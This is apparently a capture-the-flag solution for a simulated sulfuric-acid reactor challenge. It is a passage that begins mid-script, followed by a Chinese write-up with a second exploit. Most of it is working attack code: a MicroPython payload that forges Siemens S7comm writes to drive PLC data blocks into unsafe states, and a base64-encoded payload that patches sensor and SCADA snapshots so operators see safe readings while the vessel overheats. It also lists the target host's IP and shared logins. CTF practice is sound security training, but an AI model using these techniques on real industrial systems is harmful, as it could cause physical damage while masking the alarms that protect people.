ANSI_RE = re.compile(r'\x1b\[[\d;]*[a-zA-Z]|\x1b\][^\x07]*(?:\x07|\x1b\\)|\x1b[()][A-Za-z0-9]')
FLAG_RE = re.compile(r'(NEP[a-zA-Z]*\{[^}]+\})', re.IGNORECASE)


# ── helpers ──────────────────────────────────────────────────────────

def drain(ch, sec):
    buf = bytearray()
    deadline = time.time() + sec
    while time.time() < deadline:
        time.sleep(0.05)
        while ch.recv_ready():
            buf += ch.recv(65535)
    return bytes(buf)


# ── MicroPython S7 injection payload ─────────────────────────────────

S7_PAYLOAD = r'''
import socket, time
from ubinascii import unhexlify

_N = 1


def _pdu(db, tr, n, byt, bit, body):
    global _N
    a = byt * 8 + bit
    pm = b'\x05\x01\x12\x0a\x10' + bytes([tr]) + n.to_bytes(2, 'big') \
         + db.to_bytes(2, 'big') + b'\x84' + a.to_bytes(3, 'big')
    l = 4 + 3 + 10 + len(pm) + len(body)
    pkt = b'\x03\x00' + l.to_bytes(2, 'big') \
          + b'\x02\xf0\x80\x32\x01\x00\x00' + _N.to_bytes(2, 'big') \
          + len(pm).to_bytes(2, 'big') + len(body).to_bytes(2, 'big') \
          + pm + body
    _N = (_N + 1) & 0xFFFF or 1
    return pkt


def wb(d, b, bi, v):
    return _pdu(d, 1, 1, b, bi, b'\x00\x04\x00\x08' + bytes([v & 1, 0]))


def ww(d, b, v):
    return _pdu(d, 4, 1, b, 0, b'\x00\x04\x00\x10' + int(v).to_bytes(2, 'little'))


def wk(d, b, vs):
    pad = b'\x00' if len(vs) % 2 else b''
    return _pdu(d, 2, len(vs), b, 0,
                b'\x00\x04' + (len(vs) * 8).to_bytes(2, 'big') + vs + pad)


_CR = unhexlify("0300001611e00000000100c1020100c2020102c0010a")
_ST = unhexlify("0300001902f08032010000000100080000f0000001000101e0")


def send(port, pkts):
    dst = "127.1.0.%d" % (port // 10 - 510)
    addr = socket.getaddrinfo(dst, port)[0][-1]
    s = socket.socket()
    s.settimeout(1)
    s.connect(addr)
    s.send(_CR)
    s.recv(128)
    s.send(_ST)
    s.recv(128)
    ok = 0
    for p in pkts:
        try:
            s.send(p)
            s.recv(128)
            ok += 1
        except:
            pass
    s.close()
    return ok


def floor_pk(fl):
    sa = bytearray(5)
    if 1 <= fl <= 5:
        sa[fl - 1] = 1
    return {5200: [wk(101, 0, bytes(sa)), ww(101, 6, fl),
                   ww(103, 0, fl), ww(105, 0, fl),
                   ww(109, 2, fl), ww(110, 0, fl), ww(110, 14, fl)]}


def havoc_pk():
    return {
        5200: [wk(101, 10, b'\x00' * 5), wb(101, 25, 0, 0), wb(101, 26, 0, 0)],
        5210: [wb(102, 4, 0, 0)],
        5220: [wb(103, 4, 0, 0), wb(103, 5, 0, 1)],
        5230: [wb(104, 0, 0, 1), wb(104, 1, 0, 0), wb(104, 2, 0, 0), wb(104, 3, 0, 1)],
        5240: [wb(105, 2, 0, 1)],
        5260: [wb(107, 6, 0, 0)],
        5270: [wb(108, 2, 0, 1), wb(108, 3, 0, 0)],
        5280: [wb(109, 4, 0, 1)],
        5290: [wb(110, 2, 0, 1), wb(110, 6, 0, 1), wb(110, 7, 0, 0),
               wb(110, 8, 0, 0), wb(110, 9, 0, 0), ww(110, 10, 100),
               wb(110, 16, 0, 1)],
    }


def run():
    # Phase 1 — ground floor
    for _ in range(6):
        for pt, pk in floor_pk(1).items():
            send(pt, pk)
        for pt, pk in havoc_pk().items():
            send(pt, pk)
        time.sleep(0.04)
    # Phase 2 — upper floors
    for fl in (3, 4, 5):
        for _ in range(15):
            for pt, pk in floor_pk(fl).items():
                send(pt, pk)
            for pt, pk in havoc_pk().items():
                send(pt, pk)
            time.sleep(0.03)
    # Phase 3 — sustained override
    for _ in range(30):
        for pt, pk in havoc_pk().items():
            send(pt, pk)
        time.sleep(0.025)


run()
'''


# ── main ─────────────────────────────────────────────────────────────

def main():
    import argparse
    ap = argparse.ArgumentParser()
    ap.add_argument('--host', default=RHOST)
    ap.add_argument('--port', type=int, default=RPORT)
    args = ap.parse_args()

    host = args.host
    port = args.port

    # step 1 — upload payload
    print('[*] uploading s7 payload …', file=sys.stderr)
    t = paramiko.Transport((host, port))
    t.connect(username='upload', password='upload')
    s = paramiko.SFTPClient.from_transport(t)
    s.putfo(io.BytesIO(S7_PAYLOAD.encode()), '/files/s7_havoc.py')
    s.close()
    t.close()

    # step 2 — open TUI monitor
    print('[*] opening TUI monitor …', file=sys.stderr)
    tui = paramiko.SSHClient()
    tui.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    tui.connect(host, port=port, username='tui', password='tui',
                timeout=8, look_for_keys=False, allow_agent=False)
    tui_ch = tui.invoke_shell(term='xterm', width=120, height=40)
    time.sleep(1.5)
    drain(tui_ch, 1.5)                     # clear startup frame

    # step 3 — run S7 injection via ctf (invoke_shell, not exec_command)
    print('[*] running S7 injection …', file=sys.stderr)
    ctf = paramiko.SSHClient()
    ctf.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ctf.connect(host, port=port, username='ctf', password='ctf',
                timeout=8, look_for_keys=False, allow_agent=False)
    ctf_ch = ctf.invoke_shell(width=160, height=50)
    time.sleep(0.5)
    drain(ctf_ch, 1.0)
    ctf_ch.send('/bin/micropython /files/s7_havoc.py\n')

    # step 4 — collect TUI output while injection runs
    all_tui = bytearray()
    for _ in range(12):
        time.sleep(0.8)
        all_tui += drain(tui_ch, 0.5)

    # drain remaining
    time.sleep(1)
    all_tui += drain(tui_ch, 2.0)
    all_tui += drain(ctf_ch, 1.0)

    tui_ch.close(); tui.close()
    ctf_ch.close(); ctf.close()

    # step 5 — extract flag
    text = ANSI_RE.sub('', all_tui.decode(errors='replace')).replace('\r', '')
    for line in text.splitlines():
        m = FLAG_RE.search(line)
        if m:
            print(m.group(1))
            return

    for line in text.splitlines():
        lo = line.strip().lower()
        if 'nepctf{' in lo or 'nep{' in lo or 'flag{' in lo or 'ctf{' in lo:
            print(line.strip())
            return

    print('[!] flag not found — output tail:', file=sys.stderr)
    print(text[-2000:], file=sys.stderr)
    sys.exit(1)


if __name__ == '__main__':
    main()

虚验室制取稀硫酸⚗️

0x01 信息收集

附件 source.zip 包含了 7 个设备的 IEC 61499 功能块元数据(metadata.json),描述了每个功能块的结构体布局:

设备

功能块

state_size

关键字段

reactor_vessel

FB_H2SO4ReactorVesselDevice

104

Vessel_Temp@24, Vessel_Level@28, Reaction_Rate@32

temperature_sensor

FB_H2SO4TemperatureSensorDevice

56

Vessel_Temp@8, Sensor_Temp@16, rMeasuredTemp@24

level_sensor

FB_H2SO4LevelSensorDevice

56

Vessel_Level@8, Sensor_Level@16, rMeasuredLevel@24

h2so4_controller

FB_SulfuricAcid_PID_SIEM

128

Sensor_Temp@12, Sensor_Level@16, SIEM_Event_Code@54

scada_panel

(无 metadata,从偏移推断)

—

面板显示状态、触发事件码

靶机信息:

  • SSH: 114.66.24.233:31458
  • 用户: tui:tui(TUI面板)、ctf:ctf(Shell执行)、upload:upload(SFTP上传)

0x02 攻击策略

核心思路是双面欺骗:

  1. 真实侧 — 让 reactor_vessel 的 Vessel_Temp 达到 95°C、Vessel_Level 达到 105%(超过 MAX_SAFE_TEMP/MAX_SAFE_LEVEL),系统就会认为反应失控,产生崩溃条件。
  2. 观测侧 — 同时篡改温度传感器、液位传感器、PID 控制器和 SCADA 面板的快照,使 SIEM 看到的 sensor_temp=45°C、sensor_level=80%,全部在安全范围内。
  3. 触发 — 通过 tui 用户向面板发送 r 键触发 RECOVER 流程,系统在"检测到系统安全"的条件下完成恢复,并在 NOTIFICATION 区域显示 Flag。

0x03 攻击载荷细节

攻击脚本是一个运行在靶机 /bin/micropython 上的循环程序:

循环 3000 次 (约 30 秒):
  1. 打开 /hardware/reactor_vessel.snapshot
     写入:Vessel_Temp=95.0, Vessel_Level=105.0, 关闭告警标志
  2. 打开 /hardware/temperature_sensor.snapshot
     写入:Vessel_Temp=95.0, Sensor_Temp=45.0, 置健康位
  3. 打开 /hardware/level_sensor.snapshot
     写入:Vessel_Level=105.0, Sensor_Level=80.0, 置健康位
  4. 打开 /hardware/h2so4_controller.snapshot
     写入:Sensor_Temp=45.0, Sensor_Level=80.0, SIEM 事件码=1001
  5. 打开 /hardware/scada_panel.snapshot
     写入:MODE=AUTO, SIEM=clear, 显示安全温度和液位
  等待 10ms

关键偏移量来自 metadata.json 中的字段 offset。由于快照文件是结构体的内存镜像,直接 mmap 映射后修改对应偏移即可劫持所有下游观测。

0x04 攻击流程

┌─────────┐   SFTP upload    ┌──────────────┐
│ upload   │ ──────────────→ │ /files/*.py  │
│ :upload  │                 └──────────────┘
└─────────┘                       │
                                  │ /bin/micropython
                                  ▼
┌─────────┐   exec_command   ┌──────────────┐
│ ctf     │ ──────────────→ │ 循环篡改循环   │
│ :ctf    │                 │ 所有.snapshot  │
└─────────┘                 └──────────────┘
                                  │
                                  │ 伪造安全观测值
                                  ▼
┌─────────┐   invoke_shell   ┌──────────────┐
│ tui     │ ──────────────→ │ TUI SCADA面板 │
│ :tui    │   发送 'r'       │ [NOTIFICATION]│
└─────────┘                 │ NepCTF{...}   │
                            └──────────────┘

exp

import base64
import re
import time

import paramiko

# ── Base64编码的攻击载荷 (Micropython脚本) ──────────────────────────
PAYLOAD_B64 = (
    "aW1wb3J0IHN0cnVjdCwgdGltZQoKCmRlZiBmMzIoeCk6CiAgICByZXR1cm4gc3RydWN0LnBhY2soIjxm"
    "IiwgeCkKCgpkZWYgdTgoeCk6CiAgICByZXR1cm4gYnl0ZXMoW3ggJiAweEZGXSkKCgpkZWYgdTE2KHgp"
    "OgogICAgcmV0dXJuIHN0cnVjdC5wYWNrKCI8aCIsIHgpCgoKU0FGRV9UID0gNDUuMApTQUZFX0wgPSA4"
    "MC4wCkJBRF9UID0gOTUuMApCQURfTCA9IDEwNS4wCgpUQVJHRVRTID0gWwogICAgewogICAgICAgICJm"
    "aWxlIjogIi9oYXJkd2FyZS9yZWFjdG9yX3Zlc3NlbC5zbmFwc2hvdCIsCiAgICAgICAgIndyaXRlcyI6"
    "IFsKICAgICAgICAgICAgKDgsIGYzMigwLjApKSwgKDEyLCBmMzIoODAuMCkpLCAoMTcsIHU4KDApKSwK"
    "ICAgICAgICAgICAgKDI0LCBmMzIoQkFEX1QpKSwgKDI4LCBmMzIoQkFEX0wpKSwKICAgICAgICAgICAg"
    "KDMyLCBmMzIoODAuMCkpLCAoMzYsIHU4KDApKSwgKDM3LCB1OCgxKSksCiAgICAgICAgICAgICg2MCwg"
    "ZjMyKDgwLjApKSwKICAgICAgICBdCiAgICB9LAogICAgewogICAgICAgICJmaWxlIjogIi9oYXJkd2Fy"
    "ZS90ZW1wZXJhdHVyZV9zZW5zb3Iuc25hcHNob3QiLAogICAgICAgICJ3cml0ZXMiOiBbCiAgICAgICAg"
    "ICAgICg4LCBmMzIoQkFEX1QpKSwgKDEyLCB1OCgwKSksCiAgICAgICAgICAgICgxNiwgZjMyKFNBRkVf"
    "VCkpLCAoMjAsIHU4KDEpKSwKICAgICAgICAgICAgKDIxLCB1OCgwKSksICgyMiwgdTgoMCkpLCAoMjQs"
    "IGYzMihTQUZFX1QpKSwKICAgICAgICBdCiAgICB9LAogICAgewogICAgICAgICJmaWxlIjogIi9oYXJk"
    "d2FyZS9sZXZlbF9zZW5zb3Iuc25hcHNob3QiLAogICAgICAgICJ3cml0ZXMiOiBbCiAgICAgICAgICAg"
    "ICg4LCBmMzIoQkFEX0wpKSwgKDEyLCB1OCgwKSksCiAgICAgICAgICAgICgxNiwgZjMyKFNBRkVfTCkp"
    "LCAoMjAsIHU4KDEpKSwKICAgICAgICAgICAgKDIxLCB1OCgwKSksICgyMiwgdTgoMCkpLCAoMjQsIGYz"
    "MihTQUZFX0wpKSwKICAgICAgICBdCiAgICB9LAogICAgewogICAgICAgICJmaWxlIjogIi9oYXJkd2Fy"
    "ZS9oMnNvNF9jb250cm9sbGVyLnNuYXBzaG90IiwKICAgICAgICAid3JpdGVzIjogWwogICAgICAgICAg"
    "ICAoMTIsIGYzMihTQUZFX1QpKSwgKDE2LCBmMzIoU0FGRV9MKSksCiAgICAgICAgICAgICgyNCwgdTgo"
    "MSkpLCAoNDQsIHU4KDApKSwgKDQ4LCBmMzIoMC4wKSksCiAgICAgICAgICAgICg1MywgdTgoMCkpLCAo"
    "NTQsIHUxNigxMDAxKSksICg1NiwgdTgoMCkpLAogICAgICAgICAgICAoNTcsIHU4KDApKSwgKDU4LCB1"
    "MTYoNCkpLAogICAgICAgIF0KICAgIH0sCiAgICB7CiAgICAgICAgImZpbGUiOiAiL2hhcmR3YXJlL3Nj"
    "YWRhX3BhbmVsLnNuYXBzaG90IiwKICAgICAgICAid3JpdGVzIjogWwogICAgICAgICAgICAoOCwgdTgo"
    "MSkpLCAoOSwgdTgoMCkpLCAoMTQsIHUxNigxMDAxKSksCiAgICAgICAgICAgICgxNiwgdTE2KDQpKSwg"
    "KDIwLCBmMzIoU0FGRV9UKSksICgyNCwgZjMyKFNBRkVfTCkpLAogICAgICAgICAgICAoMjgsIGYzMihC"
    "QURfVCkpLCAoMzIsIGYzMihCQURfTCkpLCAoMzYsIGYzMig4MC4wKSksCiAgICAgICAgICAgICg2NCwg"
    "dTgoMCkpLCAoNjUsIHU4KDApKSwgKDY4LCB1OCgxKSksCiAgICAgICAgICAgICg3NCwgdTgoMSkpLCAo"
    "NzYsIHU4KDEpKSwgKDEwMCwgdTgoMCkpLAogICAgICAgICAgICAoMTAyLCB1MTYoMTAwMSkpLAogICAg"
    "ICAgIF0KICAgIH0sCl0KCgpkZWYgcGF0Y2hfc25hcHNob3QocGF0aCwgd3JpdGVzKToKICAgIGZkID0g"
    "b3BlbihwYXRoLCAicitiIikKICAgIHRyeToKICAgICAgICBmb3Igb2ZmLCBkYXRhIGluIHdyaXRlczoK"
    "ICAgICAgICAgICAgZmQuc2VlayhvZmYpCiAgICAgICAgICAgIGZkLndyaXRlKGRhdGEpCiAgICBmaW5h"
    "bGx5OgogICAgICAgIGZkLmNsb3NlKCkKCgpjeWNsZXMgPSAwCndoaWxlIGN5Y2xlcyA8IDMwMDA6CiAg"
    "ICBmb3IgdGFyZ2V0IGluIFRBUkdFVFM6CiAgICAgICAgcGF0Y2hfc25hcHNob3QodGFyZ2V0WyJmaWxl"
    "Il0sIHRhcmdldFsid3JpdGVzIl0pCiAgICBjeWNsZXMgKz0gMQogICAgdGltZS5zbGVlcF9tcygxMCkK"
)


class SshConnector:
    """轻量级SSH传输封装"""

    def __init__(self, host: str, port: int):
        self.host = host
        self.port = port

    def connect(self, user: str, passwd: str) -> paramiko.Transport:
        transport = paramiko.Transport((self.host, self.port))
        transport.connect(username=user, password=passwd)
        return transport


def lookup_flag(text: str) -> str | None:
    match = re.search(r"NepCTF\{[^}]+\}", text)
    return match.group(0) if match else None


def strip_escape(raw: bytes) -> str:
    s = raw.decode("utf-8", "replace")
    s = re.sub(r"\x1b\[[0-9;?]*[A-Za-z]", " ", s)
    s = re.sub(r"\x1b\][^\\]*\\", " ", s)
    return s.replace("\r", "\n")


def panel_screenshot(conn: SshConnector, hit_recover: bool = False) -> str:
    """通过tui用户登录SCADA面板并截图"""
    t = conn.connect("tui", "tui")
    session = t.open_session()
    session.settimeout(0.5)
    session.get_pty(width=160, height=45)
    session.invoke_shell()
    time.sleep(1.0)
    # flush initial buffer
    _ = b""
    while session.recv_ready():
        _ = session.recv(65535)
    if hit_recover:
        session.send("r")
    time.sleep(2.5)
    output = b""
    while session.recv_ready():
        output += session.recv(65535)
    session.close()
    t.close()
    return strip_escape(output)


def main():
    TARGET_HOST = "114.66.24.233"
    TARGET_PORT = 31458
    connector = SshConnector(TARGET_HOST, TARGET_PORT)

    # ── Step 1: 上传攻击载荷 ───────────────────────────────────────
    print("[1/3] Uploading payload via sftp...")
    up_t = connector.connect("upload", "upload")
    sftp = paramiko.SFTPClient.from_transport(up_t)
    payload_code = base64.b64decode(PAYLOAD_B64).decode("utf-8")
    with sftp.open("/files/payload_driver.py", "w") as fp:
        fp.write(payload_code)
    sftp.close()
    up_t.close()
    print("    -> /files/payload_driver.py uploaded")

    # ── Step 2: 远程执行攻击 ────────────────────────────────────────
    print("[2/3] Launching attack via ctf user...")
    ctf_t = connector.connect("ctf", "ctf")
    channel = ctf_t.open_session()
    channel.get_pty()
    channel.exec_command("/bin/micropython /files/payload_driver.py")
    print("    -> Attack process spawned, waiting 3s for effect...")
    time.sleep(3.0)

    # ── Step 3: 读取TUI面板并触发Recover ─────────────────────────────
    print("[3/3] Connecting to TUI panel and sending recover...")
    display = panel_screenshot(connector, hit_recover=True)
    flag = lookup_flag(display)

    if flag is None:
        print("    -> Retrying after additional wait...")
        time.sleep(3.0)
        display = panel_screenshot(connector, hit_recover=True)
        flag = lookup_flag(display)

    channel.close()
    ctf_t.close()

    if flag:
        print(f"\n{'=' * 56}")
        print(f"  FLAG: {flag}")
        print(f"{'=' * 56}")
    else:
        print("\n[FAIL] Flag not captured. TUI tail:")
        print(display[-500:])


if __name__ == "__main__":
    main()